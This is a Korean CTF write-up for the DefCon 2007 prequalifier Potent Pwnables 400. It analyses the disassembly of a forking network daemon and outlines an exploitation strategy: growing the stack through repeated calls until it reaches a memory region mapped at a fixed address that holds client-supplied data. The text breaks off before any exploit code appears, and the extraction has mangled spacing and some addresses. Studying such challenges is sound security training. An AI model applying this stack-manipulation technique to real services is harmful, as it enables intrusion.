Microsoft Word - DefCon2007 CTF Prequals - Potent Pwnable 400 풀이.docx

Size: px
Start display at page:

Download "Microsoft Word - DefCon2007 CTF Prequals - Potent Pwnable 400 풀이.docx"

Transcription

1 DefCon CTF 2007 Prequals - Potent Pwnables 400 풀이 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 7월 5일 ( 마지막수정일 : 2007년 7월 5일 ) 안녕하세요, 이번에는 DefCon2007 CTF Prequals - Potent Pwnables 400 문제풀이입니다. 예선전당시에는손도못댔었는데, 이것도요령이생기니까할만하네요. 외국해커들이어떻게그리빨리푸는지이제는약간이해할수있을것도같네요. 300 을풀때는몰랐는데, 취약점이있는함수가여러개의비슷한함수들속에숨겨져있을때, 분석하기참골때리더라구요. 특히 Binary Leetness 500 문제 -_-; 3일동안분석했는데, 결국못풀었습니다. ( 참고 : 혹시이문제푸신분있으시면힌트좀주세요. -0-; 어쨌든, 이번문제도약간의삽질이필요한그런문제입니다. 여기에삽질한내용을다적기에는, 적는데에시간이더걸릴거같고,, 중요한부분위주로분석하면서, 관련코드를언급하는방식으로적어나가겠습니다. 혹시읽으시다가설명이미흡하다고생각되는부분이나이해가안되는부분이있으면제이메일로연락부탁드립니다. ^^ 자, 그럼시작해볼까요? 아래는 main() 함수호출부분입니다..text:08048B04 loc_8048b04: ; CODE XREF: start+8fj.text:08048b04 sub esp, 0Ch.text:08048B07 push offset _term_proc ; func.text:08048b0c call _atexit.text:08048b11 call _init_proc.text:08048b16 push eax.text:08048b17 push esi.text:08048b18 lea eax, [ebp+arg_0].text:08048b1b push eax.text:08048b1c push ebx.text:08048b1d call sub_ ; main() 함수호출

2 .text:08048b22 add esp, 14h.text:08048B25 push eax ; status.text:08048b26 call _exit 함수내부로들어가면다음과같은코드가나옵니다..text: push ebp.text: mov ebp, esp.text: sub esp, 8.text: and esp, 0FFFFFFF0h.text: sub esp, 1Ch.text: C push 1167h.text: call sub_80495b4.text: add esp, 10h.text: cmp eax, 0FFFFFFFFh.text: C jz short loc_ text: e sub esp, 8.text: push offset sub_80493f0 ; child() 함수포인터.text: push eax.text: call sub_ ; daemon() 함수 ( 임의 ).text: c xor eax, eax.text: e leave.text: f retn.text: ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴?.text: text: loc_ : ; CODE XREF: sub_ cj.text: sub esp, 0Ch.text: push offset ainitfailed ; "init() failed!".text: call _perror.text: d mov [esp+28h+var_28], 0.text: call _exit.text: sub_ 두에 C 언어로변환하면다음과같습니다. if((serv_sock = init(4455) == -1) { perror("init() failed"); exit(); } else { daemon(serv_sock, child); return 0; }

3 init 와 child, daemon 은제마음대로이름붙인겁니다. ^^; 먼저 init(4455); 를호출하네요. 여기엔어떤코드가들어있을까요? 아래는 init() 함수입니다..text:080495B4 push ebp.text:080495b5 mov ebp, esp.text:080495b7 push edi.text:080495b8 push ebx.text:080495b9 lea ebx, [ebp+var_18].text:080495bc sub esp, 28h.text:080495BF cld.text:080495c0 xor eax, eax.text:080495c2 mov ecx, 4.text:080495C7 mov edi, ebx.text:080495c9 mov [ebp+optval], 1.text:080495D0 rep stosd.text:080495d2 push offset sub_804945c ; _sig_func_ptr.text:080495d7 push 14h ; int.text:080495d9 mov edx, [ebp+arg_0].text:080495dc mov byte ptr [ebp+var_18+1], 2.text:080495E0 xchg dh, dl.text:080495e2 mov word ptr [ebp+var_18+2], dx.text:080495e6 call _signal.text:080495eb add esp, 10h.text:080495EE inc eax.text:080495ef jz short loc_804964d.text:080495f1 push eax.text:080495f2 push 0 ; protocol.text:080495f4 push 1 ; type.text:080495f6 push 2 ; family.text:080495f8 call _socket.text:080495fd add esp, 10h.text: cmp eax, 0FFFFFFFFh.text: mov edi, eax.text: jz short loc_804965c.text: sub esp, 0Ch.text: A push 4 ; optlen.text: c lea edx, [ebp+optval].text: f push edx ; optval.text: push 4 ; optname.text: push 0FFFFh ; level.text: push eax ; s.text: call _setsockopt.text: d add esp, 20h.text: inc eax.text: jz short loc_ text: push eax.text: push 10h ; addrlen.text: push ebx ; my_addr.text: push edi ; int.text: call _bind

4 .text: d add esp, 10h.text: inc eax.text: jz short loc_ text: sub esp, 8.text: push 14h ; n.text: push edi ; int.text: call _listen.text: e add esp, 10h.text: inc eax.text: jz short loc_804967a.text: lea esp, [ebp-8].text: pop ebx.text: mov eax, edi.text: a pop edi.text: b leave.text: c retn 사실위코드는문제푸는것과는전혀관계없는루틴입니다. 이런쓸데없는코드는대충눈으로훑어보고어떤인자로어떤함수를호출하는지정도만파악하고넘어가는게좋습니다. 분석해봤자별이득도없거니와, 체력낭비에시간낭비죠. 대충훑어보면일반적인서버소켓프로그래밍을위한초기화를실행하고있습니다. 소켓을생성하고, 소켓에옵션을주고, 포트를할당하고, 클라이언트의요청을기다리는코드로보이네요. 또한여기서 signal() 함수는자식프로세스가비정상적으로종료될때 defunc 를방지하는역할을합니다. 여기까지실행하면 4455 번포트를열고, 클라이언트의접속을기다리게됩니다. 그다음코드는 daemon(serv_sock, child); 인데요, 여기서 serv_sock 에는 init() 함수에서생성한소켓디스크립터가저장되어있구요,, child 는 child() 함수의포인터입니다. 이변수들을가지고어떤일들을하는지분석해봅시다..text: push ebp.text: mov ebp, esp.text: push edi.text: push esi.text: push ebx.text: a sub esp, 2Ch.text: D lea edi, [ebp+clnt_addr_size].text: lea ebx, [ebp+clnt_addr].text: nop.text: text: loc_ : ; CODE XREF: daemon+23j.text: ; daemon+2dj....text: push eax.text: push edi ; int *.text: push ebx ; peer.text: push [ebp+serv_sock] ; int

5 .text: a call _accept.text: f add esp, 10h.text:080496A2 cmp eax, 0FFFFFFFFh.text:080496A5 mov esi, eax.text:080496a7 jz short loc_ text:080496a9 call _fork.text:080496ae cmp eax, 0FFFFFFFFh.text:080496B1 jz short loc_ text:080496b3 test eax, eax.text:080496b5 jz short loc_80496c5.text:080496b7 sub esp, 0Ch.text:080496BA push esi ; fildes.text:080496bb call _close.text:080496c0 add esp, 10h.text:080496C3 jmp short loc_ text:080496c5 ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴?.text:080496C5.text:080496C5 loc_80496c5: ; CODE XREF: daemon+31j.text:080496c5 sub esp, 0Ch.text:080496C8 push esi ; status.text:080496c9 call [ebp+child].text:080496cc mov ebx, eax.text:080496ce mov [esp+48h+var_48], esi.text:080496d1 call _close.text:080496d6 mov [esp+48h+var_48], ebx.text:080496d9 call _exit.text:080496d9 daemon endp clnt_addr_size, clnt_addr 는역시편의상제가정한이름입니다. 앞으로이부분에대해서는설명을생략하겠습니다. 간단하게 C 로변환해보면, if((clnt_sock = accept(serv_sock, (struct sockaddr *)&clnt_addr, &clnt_addr_size))!= -1) if(fork() == 0) child(clnt_sock); 라고할수있습니다. 클라이언트와연결한다음, 자식프로세스를만들어서 child() 함수를실행하네요. 이때, 인자는클라이언트와연결된소켓디스크립터입니다. 이제클라이언트와통신을하기위한준비는끝난것같고,, 뭔가제대로된놈이나올것같은예감이듭니다. child() 함수로들어가보겠습니다.

6 .text:080493f0 push ebp.text:080493f1 mov ebp, esp.text:080493f3 push ebx.text:080493f4 sub esp, 10h.text:080493F7 mov ebx, [ebp+arg_0].text:080493fa push 5 ; secs.text:080493fc call _alarm.text: mov [ebp+arg_0], ebx.text: add esp, 10h.text: mov ebx, [ebp+var_4].text: a leave.text: b jmp sub_8048c28 ; vul.text: b sub_80493f0 두에 alarm() 함수를호출하네요. 즉, 지금부터 5초뒤에 SIGALRM 시그널이발생됩니다. 그냥 nc localhost 4455 로접속해보면, 일정시간후에 ( 느낌상 5초 ) 자동으로연결이끊어지는걸알수있습니다. 아마이시그널이발생되면프로그램이종료하게되는함수가호출될겁니다. 즉, 이자식프로세스의수명은 5 초입니다. -_-; 이때문에, gdb 로디버깅이힘들어지긴하는데, (5초뒤에디버깅하던게종료되므로..) 이부분을 0x90 으로패치하거나, 인자값 5 대신 0 으로패치하면시그널이발생하지않습니다. 근데전 gdb 를쓸일이없어서패치없이그냥진행했습니다. 에? 이게뭐야 ~ 별거없잖아? 라고생각하실지도모르겠네요. 저도그렇게생각했었는데, jmp sub_8048c28 부분이마음에걸립니다. 살포시들어가보겠습니다.???!!! 뭔가,, 거대한놈과마주보고서있는느낌입니다. -_-; 오버뷰로보니그나마좀낫네요. 약간확대해볼까요?

7 이코드에서또다른서브함수들을호출한다고생각하면,, 벌써부터막막해집니다. 그래도삽은들었으니, 파긴파야겠고,, 대충윤곽도잡을겸, 처음부터차근차근분석해봅시다. 아래는 vul() 함수앞부분,,

8 .text:08048c28 push ebp.text:08048c29 mov ebp, esp.text:08048c2b push edi.text:08048c2c push esi.text:08048c2d push ebx.text:08048c2e sub esp, 540h.text:08048C34 push 400h ; size_t.text:08048c39 push 0 ; int.text:08048c3b lea esi, [ebp+buf1].text:08048c41 push esi ; void *.text:08048c42 mov [ebp+buf1_var2], 0.text:08048C4C mov [ebp+buf1_var1], 0.text:08048C56 call _memset.text:08048c5b add esp, 0Ch.text:08048C5E push 60h ; size_t.text:08048c60 push 0 ; int.text:08048c62 lea ebx, [ebp+buf2].text:08048c68 push ebx ; void *.text:08048c69 mov [ebp+buf2_var1], 0.text:08048C73 call _memset.text:08048c78 add esp, 0Ch.text:08048C7B push 8 ; arg2.text:08048c7d lea edi, [ebp+buf1_var2].text:08048c83 push edi ; buf.text:08048c84 push [ebp+clnt_sock] ; clnt_sock.text:08048c87 call get_data.text:08048c8c add esp, 10h.text:08048C8F cmp eax, 8.text:08048C92 jnz loc_ text:08048c98 mov eax, [ebp+buf1_var2].text:08048c9e cmp eax, 7 ; switch 8 cases.text:08048ca1 ja short loc_8048cac ; default.text:08048ca3 jmp ds:off_ [eax*4] ; switch jump 스택에 0x540 만큼의공간을만듭니다. char buf1[0x400] 으로보이는변수를 0 으로초기화합니다. memset(buf1, 0, 0x400); 그리고특정변수 buf1_var1, buf_var2 에각각 0 을넣구요. char buf2[0x60] 으로보이는변수를 0 으로초기화합니다. memset(buf2, 0, 0x60); 마찬가지로 buf2_var1 로추정되는변수에 0 을넣습니다. 그리고 get_data(clnt_sock, &buf1_var2, 8); 을실행합니다. get_data() 함수로들어가봅시다..text: C push ebp.text: d mov ebp, esp.text: f push edi.text: push esi.text: push ebx.text: sub esp, 0Ch

9 .text: mov esi, [ebp+arg2] ; 전송받을데이터의길이.text: xor ebx, ebx.text: a cmp ebx, esi.text: c mov edi, [ebp+buf1_var2].text: f jnb short loc_80494b3.text: lea esi, [esi+0].text: text: loc_ : ; CODE XREF: get_data+35j.text: mov edx, esi.text: sub edx, ebx.text: push ecx.text: push edx ; nbyte.text: a lea eax, [edi+ebx].text: d push eax ; buf.text: e push [ebp+clnt_sock] ; fildes.text:080494a1 call _read.text:080494a6 add esp, 10h.text:080494A9 test eax, eax.text:080494ab jle short loc_80494b3.text:080494ad add ebx, eax.text:080494af cmp ebx, esi.text:080494b1 jb short loc_ text:080494b3.text:080494b3 loc_80494b3: ; CODE XREF: get_data+13j.text:080494b3 ; get_data+2fj.text:080494b3 lea esp, [ebp-0ch].text:080494b6 mov eax, ebx.text:080494b8 pop ebx.text:080494b9 pop esi.text:080494ba pop edi.text:080494bb leave.text:080494bc retn.text:080494bc get_data 두에 간단하게설명하자면, 첫번째인자파일디스크립터로부터세번째인자길이만큼의데이터를전송받아서, 두번째인자주소가가리키는공간에저장하고, 전송받은데이터의길이를리턴해주는함수입니다. 즉 8 바이트만큼데이터를수신해서 buf1_var2 의주소에저장합니다. ( 이때, buf1_var1 과 buf1_var2 는붙어있으므로, 앞 4바이트는 buf1_var2 에저장되고뒤 4바이트는 buf1_var1 에저장됩니다 ) 다시위로올라가서, get_data() 함수호출후의부분을보면,, 리턴값이 8 인가? 비교하는부분이있구요,, 8 이아니라면 "read failed" 메시지를출력하고종료하게됩니다. 즉우리는처음에 8 바이트를전송해야합니다. 그럼뭘전송해야할까요? 답은그밑에있습니다.

10 .text:08048c98 mov eax, [ebp+buf1_var2].text:08048c9e cmp eax, 7 ; switch 8 cases.text:08048ca1 ja short loc_8048cac ; default.text:08048ca3 jmp ds:off_ [eax*4] ; switch jump 이부분인데요,, 0x 부분을보면.rodata: off_ dd offset loc_8048cac ; DATA XREF: vul+7br.rodata: dd offset loc_8048e17 ; jump table for switch statement.rodata: dd offset loc_8048e9f.rodata: dd offset loc_8048f27.rodata: dd offset loc_8048cac.rodata: dd offset loc_8048f5d.rodata: dd offset loc_804900f.rodata: dd offset loc_8048d0b 이렇게 8 개의함수포인터배열을만들어놓고, 클라이언트로부터전송받은첫 4바이트 (buf1_var2) 의값에따라각기다른함수를호출하는군요. 위에서부터차례대로 0 ~ 7 과대치됩니다. 그리고 7보다커도 0x8048cac 부분이실행됩니다. 이를토대로 7개의함수를각각묶어버립니다. 그럼아래와같이간단해집니다. ^^ 좀볼만하네요. 이제부터 7개의함수를하나씩까발리면됩니다. 먼저 0 이거나 7 보다클때.text:08048CAC mov ebx, off_804aacc ; "Unknown Code".text:08048CB2 xor eax, eax

11 .text:08048cb4 mov [ebp+nbyte], 0.text:08048CBE mov [ebp+buf], 4.text:08048CC8 cld.text:08048cc9 mov ecx, 0FFFFFFFFh.text:08048CCE mov edi, ebx.text:08048cd0 repne scasb.text:08048cd2 push eax.text:08048cd3 push 8 ; nbyte.text:08048cd5 lea edx, [ebp+buf].text:08048cdb push edx ; buf.text:08048cdc not ecx.text:08048cde push [ebp+clnt_sock] ; fildes.text:08048ce1 mov [ebp+nbyte], ecx.text:08048ce7 call _write.text:08048cec add esp, 0Ch.text:08048CEF push [ebp+nbyte] ; nbyte.text:08048cf5.text:08048cf5 loc_8048cf5: ; CODE XREF: vul+272j.text:08048cf5 ; vul+2faj....text:08048cf5 push ebx ; buf.text:08048cf6.text:08048cf6 loc_8048cf6: ; CODE XREF: vul+1eaj.text:08048cf6 ; vul+3e2j....text:08048cf6 push [ebp+clnt_sock] ; fildes.text:08048cf9 call _write.text:08048cfe add esp, 10h.text:08048D01 xor eax, eax.text:08048d03.text:08048d03 loc_8048d03: ; CODE XREF: vul+330j.text:08048d03 ; vul+46aj....text:08048d03 lea esp, [ebp-0ch].text:08048d06 pop ebx.text:08048d07 pop esi.text:08048d08 pop edi.text:08048d09 leave.text:08048d0a retn 뭔가 8 바이트를클라이언트에게전송하고, "Unknown Code" 라는문자열도전송하네요. 이문자열은 nc 로접속해서아무글자나입력해보면나오는메시지입니다. 이함수는취약점과아무상관이없습니다. 하지만우리는여기서첫 4바이트 (buf1_var2) 는 0보다크고 8보다작은수여야한다는것을알수있습니다. 그럼다음함수를보겠습니다. 1 일때.text:08048E17 mov eax, [edi+4] ; buf1_var1.text:08048e1a cmp eax, 3FFh.text:08048E1F ja loc_80490e5.text:08048e25 push edx

12 .text:08048e26 push eax ; arg2.text:08048e27 push esi ; buf1.text:08048e28 push [ebp+clnt_sock] ; clnt_sock.text:08048e2b call get_data.text:08048e30 add esp, 10h.text:08048E33 cmp eax, [edi+4].text:08048e36 jnz loc_ text:08048e3c sub esp, 8.text:08048E3F push ebx ; sbuf.text:08048e40 push esi ; path.text:08048e41 call _stat.text:08048e46 add esp, 10h.text:08048E49 test eax, eax.text:08048e4b jz loc_804925e.text:08048e51 mov ebx, off_804aac8.text:08048e57 mov [ebp+var_4d4], 0.text:08048E61 mov [ebp+var_4d8], 4.text:08048E6B cld.text:08048e6c xor eax, eax.text:08048e6e mov ecx, 0FFFFFFFFh.text:08048E73 mov edi, ebx.text:08048e75 repne scasb.text:08048e77 push esi.text:08048e78 push 8 ; nbyte.text:08048e7a lea edx, [ebp+var_4d8].text:08048e80 push edx ; buf.text:08048e81 not ecx.text:08048e83 push [ebp+clnt_sock] ; fildes.text:08048e86 mov [ebp+var_4d4], ecx.text:08048e8c call _write.text:08048e91 add esp, 0Ch.text:08048E94 push [ebp+var_4d4].text:08048e9a jmp loc_8048cf5 처음우리가입력한 8바이트중뒤 4바이트 (buf1_var1) 의값이 0x3ff 보다크면 0x80490e5 를호출합니다. 아래코드인데요, "Content Too Long" 이라는문자열을클라이언트에게전송합니다. 만약 0x3ff 보다같거나작다면, get_data(clnt_sock, buf1, buf1_var1); 코드를실행합니다. 즉클라이언트로부터새로운데이터를또전송받습니다. 이때 buf1_var1 값은우리가조작가능하므로, 크기를늘여서쉘코드따위를올릴수있음을알수있습니다. 그다음 stat(buf1, sbuf); 를실행하는데요, stat() 함수는첫번째인자특정파일의정보를구조체포인터로두번째인자에저장합니다..text:080490E5 mov ebx, off_804aac4 ; "Content Too Long".text:080490EB mov [ebp+var_4cc], 0.text:080490F5 mov [ebp+var_4d0], 4.text:080490FF cld.text: xor eax, eax.text: mov ecx, 0FFFFFFFFh.text: mov edi, ebx

13 .text: repne scasb.text: b not ecx.text: d mov [ebp+var_4cc], ecx.text: push ecx.text: push 8 ; nbyte.text: lea esi, [ebp+var_4d0].text: c push esi ; buf.text: d push [ebp+clnt_sock] ; fildes.text: call _write.text: add esp, 0Ch.text: push [ebp+var_4cc].text: e jmp loc_8048cf5.text: e push ebx.text: f push [ebp+var_474].text: push offset ad ; "%d".text: a push esi ; char *.text: b call _sprintf.text: mov edi, esi.text: add esp, 0Ch.text: mov [ebp+var_4dc], 0.text: F mov [ebp+var_4e0], 1.text: cld.text: a xor eax, eax.text: c mov ecx, 0FFFFFFFFh.text: repne scasb.text: lea ebx, [ebp+var_4e0].text: push 8 ; nbyte.text: b push ebx ; buf.text: c not ecx.text: e push [ebp+clnt_sock] ; fildes.text:080492a1 mov [ebp+var_4dc], ecx.text:080492a7 call _write.text:080492ac add esp, 0Ch.text:080492AF push [ebp+var_4dc].text:080492b5 push esi.text:080492b6 jmp loc_8048cf6 그리고위와같이 sprint() 함수를이용해적절한포맷으로변환한뒤, 클라이언트로전송하고있음을알수있습니다. 사실그전에 8 바이트를전송하는부분이있긴한데, 별로문제와상관없을거같아서무시하고넘어가겠습니다. 그럼이제 2 일때 를보겠습니다..text:08048E9F mov eax, [edi+4] ; buf1_var

14 .text:08048ea2 cmp eax, 3FFh.text:08048EA7 ja loc_ text:08048ead push edx.text:08048eae push eax ; arg2.text:08048eaf push esi ; buf1.text:08048eb0 push [ebp+clnt_sock] ; clnt_sock.text:08048eb3 call get_data.text:08048eb8 add esp, 10h.text:08048EBB cmp eax, [edi+4].text:08048ebe jnz loc_ text:08048ec4 sub esp, 8.text:08048EC7 push ebx ; sbuf.text:08048ec8 push esi ; path.text:08048ec9 call _stat.text:08048ece add esp, 10h.text:08048ED1 test eax, eax.text:08048ed3 jz loc_80492bb.text:08048ed9 mov ebx, off_804aac8.text:08048edf mov [ebp+var_48c], 0.text:08048EE9 mov [ebp+var_490], 4.text:08048EF3 cld.text:08048ef4 xor eax, eax.text:08048ef6 mov ecx, 0FFFFFFFFh.text:08048EFB mov edi, ebx.text:08048efd repne scasb.text:08048eff push esi.text:08048f00 push 8 ; nbyte.text:08048f02 lea edx, [ebp+var_490].text:08048f08 push edx ; buf.text:08048f09 not ecx.text:08048f0b push [ebp+clnt_sock] ; fildes.text:08048f0e mov [ebp+var_48c], ecx.text:08048f14 call _write.text:08048f19 add esp, 0Ch.text:08048F1C push [ebp+var_48c].text:08048f22 jmp loc_8048cf5 1 일때 와매우비슷하다는것을알수있습니다. 뿐만아니라내부적으로점프하는코드도주소만다를뿐, 따라가보면하는일은거의비슷합니다. 그러므로패스 ~ 3 일때 를볼까요?.text:08048F27 push eax ; case 0x3.text:08048F28 push 4 ; arg2.text:08048f2a lea esi, [ebp+var_4ac].text:08048f30 push esi ; buf1_var2.text:08048f31 push [ebp+clnt_sock] ; clnt_sock.text:08048f34 mov [ebp+var_4ac], 0.text:08048F3E call get_data

15 .text:08048f43 xor ebx, ebx.text:08048f45 add esp, 10h.text:08048F48 cmp eax, 4.text:08048F4B mov edx, 0FFFFFFFFh.text:08048F50 jz loc_ text:08048f56 mov eax, edx.text:08048f58 jmp loc_8048d03 ; 종료 get_data() 함수를이용해서클라이언트로부터 4 바이트만큼전송받습니다..text: loc_ : ; CODE XREF: vul+328j.text: cmp ebx, [ebp+var_4ac].text: d jge short loc_804908e.text: f.text: f loc_804906f: ; CODE XREF: vul+464j.text: f sub esp, 0Ch.text: push [ebp+clnt_sock] ; clnt_sock.text: call vul.text: a add esp, 10h.text: D test eax, eax.text: f js loc_ text: inc ebx.text: cmp ebx, [ebp+var_4ac].text: c jl short loc_804906f.text: e.text: e loc_804908e: ; CODE XREF: vul+445j.text: e xor edx, edx.text: mov eax, edx.text: jmp loc_8048d03 ; 종료 그리고위와같이전송받은횟수만큼루프를돌면서 call vul 즉, 자기자신을호출합니다. 뭔가수상하지않나요? 자기자신을호출한다니,, 일단이렇게만알아두고다음함수를분석해보도록하죠. 4 일때 는함수포인터가 0x8048cac 이므로, 0 이거나 7 보다클때 와같은함수를호출합니다. 중복되니까빼도록하고, 5 일때 로넘어가겠습니다..text:08048F5D cmp dword ptr [edi+4], 3FFh ; case 0x5.text:08048F64 ja loc_ text:08048f6a mov [ebp+buf2_var1], 0.text:08048F74 jmp short loc_8048f8f.text:08048f78 loc_8048f78: ; CODE XREF: vul+380j

16 .text:08048f78 mov eax, [ebp+buf2_var1].text:08048f7e cmp byte ptr [ebp+eax+buf1], 0.text:08048F86 jz short loc_8048faa.text:08048f88 inc eax.text:08048f89 mov [ebp+buf2_var1], eax.text:08048f8f.text:08048f8f loc_8048f8f: ; CODE XREF: vul+34cj.text:08048f8f mov edx, esi.text:08048f91 push eax.text:08048f92 push 1 ; nbyte.text:08048f94 add edx, [ebp+buf2_var1].text:08048f9a push edx ; buf.text:08048f9b push [ebp+clnt_sock] ; fildes.text:08048f9e call _read.text:08048fa3 add esp, 10h.text:08048FA6 test eax, eax.text:08048fa8 jg short loc_8048f78.text:08048faa.text:08048faa loc_8048faa: ; CODE XREF: vul+35ej.text:08048faa sub esp, 0Ch.text:08048FAD push esi ; char *.text:08048fae call _getpwnam.text:08048fb3 add esp, 0Ch.text:08048FB6 push dword ptr [eax+8].text:08048fb9 push offset ad ; "%d".text:08048fbe push esi ; char *.text:08048fbf call _sprintf.text:08048fc4 mov edi, esi.text:08048fc6 add esp, 0Ch.text:08048FC9 mov [ebp+var_4a4], 0.text:08048FD3 mov [ebp+var_4a8], 5.text:08048FDD cld.text:08048fde xor eax, eax.text:08048fe0 mov ecx, 0FFFFFFFFh.text:08048FE5 repne scasb.text:08048fe7 lea ebx, [ebp+var_4a8].text:08048fed push 8 ; nbyte.text:08048fef push ebx ; buf.text:08048ff0 not ecx.text:08048ff2 push [ebp+clnt_sock] ; fildes.text:08048ff5 mov [ebp+var_4a4], ecx.text:08048ffb call _write.text: add esp, 0Ch.text: push [ebp+var_4a4].text: push esi.text: a jmp loc_8048cf6 buf1_var1 의값이 0x3ff 보다같거나작으면클라이언트로부터 1바이트를전송받은뒤, getpwnam() 함수의인자로전달합니다. 그리고 password 구조체에서 offset +8 에해당하는 uid 를클라이언트에게전송합니다. 위코드를보면루프를돌면서 inc eax 후 push eax 를하고 read() 함수의인자로넣는것같

17 지만, 자세히보면그후에무조건 push 1 을하면서 1바이트밖에전송을못받게합니다. 그러므로 root 라던지다른유저의정보를빼내올수없습니다. 또한다시리턴되는정보또한 uid 이기때문에, 이코드로는아무런공격도할수없습니다. 헉헉.. 이제 6 일때 네요.. 이거직접푸는것보다글쓰는게훨씬더힘드네요 -_-;.text: f cmp dword ptr [edi+4], 4 ; case 0x6.text: jz loc_80491e6.text: mov ebx, off_804aac4.text: f mov [ebp+var_4e4], 0.text: mov [ebp+var_4e8], 4.text: cld.text: xor eax, eax.text: mov ecx, 0FFFFFFFFh.text: B mov edi, ebx.text: d repne scasb.text: f not ecx.text: mov [ebp+var_4e4], ecx.text: push ecx.text: push 8 ; nbyte.text: a lea esi, [ebp+var_4e8].text: push esi ; buf.text: push [ebp+clnt_sock] ; fildes.text: call _write.text: add esp, 0Ch.text: C push [ebp+var_4e4].text: jmp loc_8048cf5 buf1_var1 의값이 4 이면, 클라이언트로부터다시 4바이트를전송받습니다. 그리고그전송받은값으로 getpwuid() 함수를호출합니다. 하지만여기에도함정이숨어있었으니,,.text:080491E6 push edx.text:080491e7 push 4 ; arg2.text:080491e9 lea edx, [ebp+buf2_var1].text:080491ef push edx ; buf1_var2.text:080491f0 push [ebp+clnt_sock] ; clnt_sock.text:080491f3 call get_data.text:080491f8 add esp, 10h.text:080491FB cmp eax, 4.text:080491FE jnz loc_804937c.text: sub esp, 0Ch.text: push [ebp+buf2_var1] ; uid_t.text: d call _getpwuid.text: mov ebx, [eax].text: add esp, 0Ch.text: mov [ebp+var_4f4], 0

18 .text: mov [ebp+var_4f8], 6.text: B cld.text: c xor eax, eax.text: e mov ecx, 0FFFFFFFFh.text: mov edi, ebx.text: repne scasb.text: lea esi, [ebp+var_4f8].text: d push 8 ; nbyte.text: f push esi ; buf.text: not ecx.text: push [ebp+clnt_sock] ; fildes.text: mov [ebp+var_4f4], ecx.text: b call _write.text: add esp, 0Ch.text: push [ebp+var_4f4].text: jmp loc_8048cf5 바로 getpwuid() 함수호출후바로다음코드인 mov ebx, [eax] 입니다. 여기서 [eax] 는유저네임즉, id 를뜻합니다. 이래선패킷을조작하여 uid 0 의정보를출력하게끔공격해도, 해당 uid 의 id 인 root 만리턴될뿐어떠한공격도이뤄질수없습니다. 그럼이제마지막으로 7 일때 를분석해봅시다..text:08048D0B cmp dword ptr [edi+4], 1000h ; case 0x7.text:08048D12 ja loc_ text:08048d18 push eax.text:08048d19 push 0.text:08048D1B push 0 ; off.text:08048d1d push 0FFFFFFFFh ; fd.text:08048d1f push 1010h ; flags.text:08048d24 push 3 ; prot.text:08048d26 push 1000h ; len.text:08048d2b push 0BFBDF000h ; addr.text:08048d30 call _mmap.text:08048d35 add esp, 20h.text:08048D38 cmp eax, 0FFFFFFFFh.text:08048D3B mov edx, eax.text:08048d3d mov ds:bfbdf, eax.text:08048d42 jz loc_ text:08048d48 push eax.text:08048d49 push dword ptr [edi+4] ; arg2.text:08048d4c push edx ; buf1_var2.text:08048d4d push [ebp+clnt_sock] ; clnt_sock.text:08048d50 call get_data.text:08048d55 add esp, 10h.text:08048D58 cmp eax, [edi+4].text:08048d5b jnz loc_ text:08048d61 xor edi, edi

19 .text:08048d63 cmp edi, eax.text:08048d65 mov [ebp+buf2_var1], 0.text:08048D6F jnb short loc_8048dba.text:08048d71 mov ebx, ds:bfbdf.text:08048d77 mov [ebp+new_bfbdf], ebx.text:08048d7d mov [ebp+new_bfbdf_len], eax.text:08048d83 nop.text:08048d84.text:08048d84 loc_8048d84: ; CODE XREF: vul+190j.text:08048d84 mov edx, [ebp+new_bfbdf].text:08048d8a mov eax, edi.text:08048d8c movzx ecx, byte ptr [edx+edi].text:08048d90 mov ebx, 0Dh.text:08048D95 cdq.text:08048d96 idiv ebx.text:08048d98 xor ecx, [ebp+buf2_var1].text:08048d9e test edx, edx.text:08048da0 mov [ebp+buf2_var1], ecx.text:08048da6 jnz short loc_8048db1.text:08048da8 shl ecx, 4.text:08048DAB mov [ebp+buf2_var1], ecx.text:08048db1.text:08048db1 loc_8048db1: ; CODE XREF: vul+17ej.text:08048db1 inc edi.text:08048db2 cmp edi, [ebp+new_bfbdf_len].text:08048db8 jb short loc_8048d84.text:08048dba.text:08048dba loc_8048dba: ; CODE XREF: vul+147j.text:08048dba push ebx.text:08048dbb push [ebp+buf2_var1].text:08048dc1 push offset a0x_8x ; "0x%.8x".text:08048DC6 push esi ; char *.text:08048dc7 call _sprintf.text:08048dcc mov edi, esi.text:08048dce mov [ebp+var_4c4], 0.text:08048DD8 mov [ebp+var_4c8], 1.text:08048DE2 cld.text:08048de3 xor eax, eax.text:08048de5 mov ecx, 0FFFFFFFFh.text:08048DEA repne scasb.text:08048dec add esp, 0Ch.text:08048DEF not ecx.text:08048df1 push 8 ; nbyte.text:08048df3 mov [ebp+var_4c4], ecx.text:08048df9 lea ecx, [ebp+var_4c8].text:08048dff push ecx ; buf.text:08048e00 push [ebp+clnt_sock] ; fildes.text:08048e03 call _write.text:08048e08 add esp, 0Ch.text:08048E0B push [ebp+var_4c4].text:08048e11 push esi.text:08048e12 jmp loc_8048cf6

20 buf1_var1 의값이 0x1000 보다같거나작으면 mmap(0xbfbdf000, 0x1000, 3, 0x1010, -1, 0, 0); 을실행하여 0xbfbdf000 메모리주소에 0x1000 바이트만큼공간을확보합니다. 그리고나서 buf1_var1 만큼또클라이언트로부터전송받아서위의 mmap() 함수로확보한메모리에저장합니다. 이때, 클라이언트가전송한데이터의길이는반드시 buf1_var1 의값과일치해야합니다. 그리고 buf1_var1 횟수만큼루프를돌면서클라이언트로부터전송받은데이터를 1바이트씩뽑아서특정연산을수행하게됩니다. (xor, shl 4 등등..) 그렇게만들어진 4바이트값을다시클라이언트에게전송해줍니다. 하지만연산된값은아무런의미도없으며, 루틴자체가삽질을유도하는쓸데없는코드로생각되어집니다. 그럼어떻게공격을들어가야할까요? 바로 3 일때 와 7 일때 를통해공격할수있습니다. 위에서 buf1_var2 가 3 일때, 자기자신을호출한다는것을알아냈습니다. ( 사실이부분은두번째전송하는값횟수만큼루프를돌면서자기자신을호출하는루틴이지만, 스스로리턴이된후에다시호출을하므로, 재귀호출이아닙니다. 그러므로 esp 레지스터를조작할수없습니다 ) 이를통해 esp 레지스터의값을증가시킬수있습니다. 왜냐면 vul() 함수초반에 esp 0x540 으로스택공간을사용하기때문입니다. vul() 함수가호출될때마다다시 vul() 함수를호출하는패킷을보냄으로써 esp 레지스터의위치를높여가고, 그부분이 mmap() 